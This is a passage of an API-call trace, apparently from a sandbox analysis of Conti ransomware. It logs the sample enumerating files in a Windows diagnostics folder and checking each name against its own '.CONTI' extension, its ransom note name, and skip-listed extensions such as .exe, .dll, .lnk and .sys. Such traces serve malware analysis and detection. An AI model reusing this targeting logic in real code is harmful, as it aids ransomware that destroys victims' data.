	[0105.077] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cb508
	[0105.077] lstrcpyW (in: lpString1=0x17cb508, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.077] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.077] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"
	[0105.077] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e28ee3c, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", cAlternateFileName="ACAE42~2.XML")) returned 1
	[0105.077] lstrcmpiW (lpString1="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpString2=".") returned 1
	[0105.077] lstrcmpiW (lpString1="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpString2="..") returned 1
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpSrch=".exe") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpSrch=".dll") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpSrch=".lnk") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpSrch=".sys") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.077] StrStrIW (lpFirst="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.077] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.077] lstrlenW (lpString="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml") returned 49
	[0105.077] GetProcessHeap () returned 0x1720000
	[0105.077] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d578
	[0105.077] lstrcpyW (in: lpString1=0x181d578, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.077] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.077] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"
	[0105.077] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2b5071, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", cAlternateFileName="C08025~1.XML")) returned 1
	[0105.077] lstrcmpiW (lpString1="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpString2=".") returned 1
	[0105.077] lstrcmpiW (lpString1="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpString2="..") returned 1
	[0105.077] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.077] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.077] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpSrch=".exe") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpSrch=".dll") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpSrch=".lnk") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpSrch=".sys") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.078] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.078] lstrlenW (lpString="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml") returned 45
	[0105.078] GetProcessHeap () returned 0x1720000
	[0105.078] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cc250
	[0105.078] lstrcpyW (in: lpString1=0x17cc250, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.078] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.078] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"
	[0105.078] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2db2dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", cAlternateFileName="C08025~2.XML")) returned 1
	[0105.078] lstrcmpiW (lpString1="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpString2=".") returned 1
	[0105.078] lstrcmpiW (lpString1="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpString2="..") returned 1
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpSrch=".exe") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpSrch=".dll") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpSrch=".lnk") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpSrch=".sys") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.078] StrStrIW (lpFirst="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.078] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.078] lstrlenW (lpString="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml") returned 49
	[0105.078] GetProcessHeap () returned 0x1720000
	[0105.078] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d308
	[0105.078] lstrcpyW (in: lpString1=0x181d308, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.078] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.078] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"
	[0105.078] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527774f5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x527774f5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.078] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.078] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.079] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.079] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.079] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e301522, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", cAlternateFileName="E80C85~1.XML")) returned 1
	[0105.079] lstrcmpiW (lpString1="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpString2=".") returned 1
	[0105.079] lstrcmpiW (lpString1="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpString2="..") returned 1
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpSrch=".exe") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpSrch=".dll") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpSrch=".lnk") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpSrch=".sys") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.079] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.079] lstrlenW (lpString="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml") returned 45
	[0105.079] GetProcessHeap () returned 0x1720000
	[0105.079] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cbc10
	[0105.079] lstrcpyW (in: lpString1=0x17cbc10, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.079] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.079] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"
	[0105.079] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e89d5, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e34d9d0, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", cAlternateFileName="E80C85~2.XML")) returned 1
	[0105.079] lstrcmpiW (lpString1="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpString2=".") returned 1
	[0105.079] lstrcmpiW (lpString1="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpString2="..") returned 1
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpSrch=".exe") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpSrch=".dll") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpSrch=".lnk") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpSrch=".sys") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.079] StrStrIW (lpFirst="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.079] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.079] lstrlenW (lpString="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml") returned 49
	[0105.079] GetProcessHeap () returned 0x1720000
	[0105.080] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181cc88
	[0105.080] lstrcpyW (in: lpString1=0x181cc88, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.080] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.080] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"
	[0105.080] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e399e7e, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", cAlternateFileName="E9D217~1.XML")) returned 1
	[0105.080] lstrcmpiW (lpString1="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpString2=".") returned 1
	[0105.080] lstrcmpiW (lpString1="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpString2="..") returned 1
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpSrch=".exe") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpSrch=".dll") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpSrch=".lnk") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpSrch=".sys") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.080] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.080] lstrlenW (lpString="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml") returned 45
	[0105.080] GetProcessHeap () returned 0x1720000
	[0105.080] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cbf30
	[0105.080] lstrcpyW (in: lpString1=0x17cbf30, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.080] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.080] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"
	[0105.080] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e458a8d, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", cAlternateFileName="E9D217~2.XML")) returned 1
	[0105.080] lstrcmpiW (lpString1="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpString2=".") returned 1
	[0105.080] lstrcmpiW (lpString1="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpString2="..") returned 1
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpSrch=".exe") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpSrch=".dll") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpSrch=".lnk") returned 0x0
	[0105.080] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpSrch=".sys") returned 0x0
	[0105.081] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.081] StrStrIW (lpFirst="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.081] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.081] lstrlenW (lpString="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml") returned 49
	[0105.081] GetProcessHeap () returned 0x1720000
	[0105.081] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d098
	[0105.081] lstrcpyW (in: lpString1=0x181d098, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.081] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.081] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"
	[0105.081] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4a4f18, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", cAlternateFileName="FFFD8B~1.XML")) returned 1
	[0105.081] lstrcmpiW (lpString1="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpString2=".") returned 1
	[0105.081] lstrcmpiW (lpString1="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpString2="..") returned 1
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpSrch=".exe") returned 0x0
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpSrch=".dll") returned 0x0
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpSrch=".lnk") returned 0x0
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpSrch=".sys") returned 0x0
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.081] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.081] lstrlenW (lpString="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml") returned 45
	[0105.081] GetProcessHeap () returned 0x1720000
	[0105.081] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cb8f0
